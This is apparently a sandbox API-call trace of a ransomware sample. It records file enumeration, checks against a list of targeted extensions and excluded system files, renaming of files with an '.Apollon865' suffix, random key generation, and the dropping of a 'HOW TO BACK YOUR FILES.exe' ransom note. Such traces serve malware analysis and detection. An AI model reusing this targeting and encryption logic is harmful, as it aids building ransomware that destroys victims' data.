	[0078.341] lstrlenW (lpString="mdb") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.341] lstrlenW (lpString="sql") returned 3
	[0078.341] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.341] lstrlenW (lpString="sqlite") returned 6
	[0078.341] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0078.341] lstrlenW (lpString="sqlite3") returned 7
	[0078.341] lstrcmpiW (lpString1="eLR.cab", lpString2="sqlite3") returned -1
	[0078.341] lstrlenW (lpString="sqlitedb") returned 8
	[0078.342] lstrcmpiW (lpString1="teLR.cab", lpString2="sqlitedb") returned 1
	[0078.342] lstrlenW (lpString="xml") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.342] lstrlenW (lpString="$er") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.342] lstrlenW (lpString="4dd") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.342] lstrlenW (lpString="4dl") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.342] lstrlenW (lpString="^^^") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.342] lstrlenW (lpString="abs") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.342] lstrlenW (lpString="abx") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.342] lstrlenW (lpString="accdb") returned 5
	[0078.342] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0078.342] lstrlenW (lpString="accdc") returned 5
	[0078.342] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0078.342] lstrlenW (lpString="accde") returned 5
	[0078.342] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0078.342] lstrlenW (lpString="accdr") returned 5
	[0078.342] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0078.342] lstrlenW (lpString="accdt") returned 5
	[0078.342] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0078.342] lstrlenW (lpString="accdw") returned 5
	[0078.342] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0078.342] lstrlenW (lpString="accft") returned 5
	[0078.342] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0078.342] lstrlenW (lpString="adb") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.342] lstrlenW (lpString="adb") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.342] lstrlenW (lpString="ade") returned 3
	[0078.342] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.342] lstrlenW (lpString="adf") returned 3
	[0078.343] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.343] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.343] lstrlenW (lpString="Setup.xml") returned 9
	[0078.343] lstrlenW (lpString="Apollon865") returned 10
	[0078.343] lstrlenW (lpString=".dll") returned 4
	[0078.343] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.343] lstrlenW (lpString=".lnk") returned 4
	[0078.343] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.343] lstrlenW (lpString=".ini") returned 4
	[0078.343] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.343] lstrlenW (lpString=".sys") returned 4
	[0078.343] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.343] lstrlenW (lpString="Setup.xml") returned 9
	[0078.343] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.343] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0078.348] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1988) returned 1
	[0078.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfb40
	[0078.349] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfbc8) returned 1
	[0078.349] CryptGenRandom (in: hProv=0x5bfbc8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.349] CryptReleaseContext (hProv=0x5bfbc8, dwFlags=0x0) returned 1
	[0078.350] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xad0, lpName=0x0) returned 0x100
	[0078.353] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xad0) returned 0x100000
	[0078.355] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfbc8) returned 1
	[0078.356] CryptGenRandom (in: hProv=0x5bfbc8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.356] CryptReleaseContext (hProv=0x5bfbc8, dwFlags=0x0) returned 1
	[0078.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.356] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.356] CloseHandle (hObject=0x100) returned 1
	[0078.356] CloseHandle (hObject=0xc0) returned 1
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0078.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.357] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0078.357] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0078.357] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7970
	[0078.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C"
	[0078.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0078.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0078.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned 62
	[0078.357] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C"
	[0078.357] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.380] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.380] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x46caeff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46caeff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0078.381] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.381] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.381] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.381] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x46caeff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46caeff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.381] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.381] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.381] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.381] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.381] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46c62d30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46c62d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.381] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.381] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0078.381] lstrlenW (lpString="Setup.xml") returned 9
	[0078.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.381] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.381] lstrlenW (lpString="Setup.xml") returned 9
	[0078.381] lstrlenW (lpString="Apollon865") returned 10
	[0078.381] lstrlenW (lpString=".dll") returned 4
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.381] lstrlenW (lpString=".lnk") returned 4
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.381] lstrlenW (lpString=".ini") returned 4
	[0078.381] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.382] lstrlenW (lpString=".sys") returned 4
	[0078.382] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.382] lstrlenW (lpString="Setup.xml") returned 9
	[0078.382] lstrlenW (lpString="bak") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.382] lstrlenW (lpString="ba_") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.382] lstrlenW (lpString="dbb") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.382] lstrlenW (lpString="vmdk") returned 4
	[0078.382] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.382] lstrlenW (lpString="rar") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.382] lstrlenW (lpString="zip") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.382] lstrlenW (lpString="tgz") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.382] lstrlenW (lpString="vbox") returned 4
	[0078.382] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.382] lstrlenW (lpString="vdi") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.382] lstrlenW (lpString="vhd") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.382] lstrlenW (lpString="vhdx") returned 4
	[0078.382] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.382] lstrlenW (lpString="avhd") returned 4
	[0078.382] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.382] lstrlenW (lpString="db") returned 2
	[0078.382] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.382] lstrlenW (lpString="db2") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.382] lstrlenW (lpString="db3") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.382] lstrlenW (lpString="dbf") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.382] lstrlenW (lpString="mdf") returned 3
	[0078.382] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.383] lstrlenW (lpString="mdb") returned 3
	[0078.383] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.383] lstrlenW (lpString="sql") returned 3
	[0078.383] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.383] lstrlenW (lpString="sqlite") returned 6
	[0078.383] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1
	[0078.383] lstrlenW (lpString="sqlite3") returned 7
	[0078.383] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1
	[0078.383] lstrlenW (lpString="sqlitedb") returned 8
	[0078.383] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1
	[0078.383] lstrlenW (lpString="xml") returned 3
	[0078.383] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.383] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.383] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.386] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0078.386] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=6241) returned 1
	[0078.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfa30
	[0078.387] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfb40) returned 1
	[0078.388] CryptGenRandom (in: hProv=0x5bfb40, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.388] CryptReleaseContext (hProv=0x5bfb40, dwFlags=0x0) returned 1
	[0078.388] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b70, lpName=0x0) returned 0x100
	[0078.389] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b70) returned 0x120000
	[0078.392] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfb40) returned 1
	[0078.393] CryptGenRandom (in: hProv=0x5bfb40, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.393] CryptReleaseContext (hProv=0x5bfb40, dwFlags=0x0) returned 1
	[0078.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0078.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0078.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.394] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.394] CloseHandle (hObject=0x100) returned 1
	[0078.394] CloseHandle (hObject=0xd8) returned 1
	[0078.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0078.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.394] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1
	[0078.394] lstrcmpiW (lpString1="VisioLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.394] lstrcmpiW (lpString1="VisioLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.394] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".") returned 1
	[0078.394] lstrcmpiW (lpString1="VisioLR.cab", lpString2="..") returned 1
	[0078.394] lstrcmpiW (lpString1="VisioLR.cab", lpString2="windows") returned -1
	[0078.394] lstrcmpiW (lpString1="VisioLR.cab", lpString2="bootmgr") returned 1
	[0078.394] lstrcmpiW (lpString1="VisioLR.cab", lpString2="temp") returned 1
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2="pagefile.sys") returned 1
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2="boot") returned 1
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2="ids.txt") returned 1
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2="ntuser.dat") returned 1
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2="perflogs") returned 1
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2="MSBuild") returned 1
	[0078.395] lstrlenW (lpString="VisioLR.cab") returned 11
	[0078.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0078.395] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="VisioLR.cab" | out: lpString1="VisioLR.cab") returned="VisioLR.cab"
	[0078.395] lstrlenW (lpString="VisioLR.cab") returned 11
	[0078.395] lstrlenW (lpString="Apollon865") returned 10
	[0078.395] lstrcmpiW (lpString1="isioLR.cab", lpString2="Apollon865") returned 1
	[0078.395] lstrlenW (lpString=".dll") returned 4
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".dll") returned 1
	[0078.395] lstrlenW (lpString=".lnk") returned 4
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".lnk") returned 1
	[0078.395] lstrlenW (lpString=".ini") returned 4
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".ini") returned 1
	[0078.395] lstrlenW (lpString=".sys") returned 4
	[0078.395] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".sys") returned 1
	[0078.395] lstrlenW (lpString="VisioLR.cab") returned 11
	[0078.395] lstrlenW (lpString="bak") returned 3
	[0078.395] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.395] lstrlenW (lpString="ba_") returned 3
	[0078.395] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.395] lstrlenW (lpString="dbb") returned 3
	[0078.395] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.395] lstrlenW (lpString="vmdk") returned 4
	[0078.395] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.395] lstrlenW (lpString="rar") returned 3
	[0078.395] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.395] lstrlenW (lpString="zip") returned 3
	[0078.395] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.395] lstrlenW (lpString="tgz") returned 3
	[0078.395] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.395] lstrlenW (lpString="vbox") returned 4
	[0078.395] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.396] lstrlenW (lpString="vdi") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.396] lstrlenW (lpString="vhd") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.396] lstrlenW (lpString="vhdx") returned 4
	[0078.396] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.396] lstrlenW (lpString="avhd") returned 4
	[0078.396] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.396] lstrlenW (lpString="db") returned 2
	[0078.396] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.396] lstrlenW (lpString="db2") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.396] lstrlenW (lpString="db3") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.396] lstrlenW (lpString="dbf") returned 3
	[0078.396] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
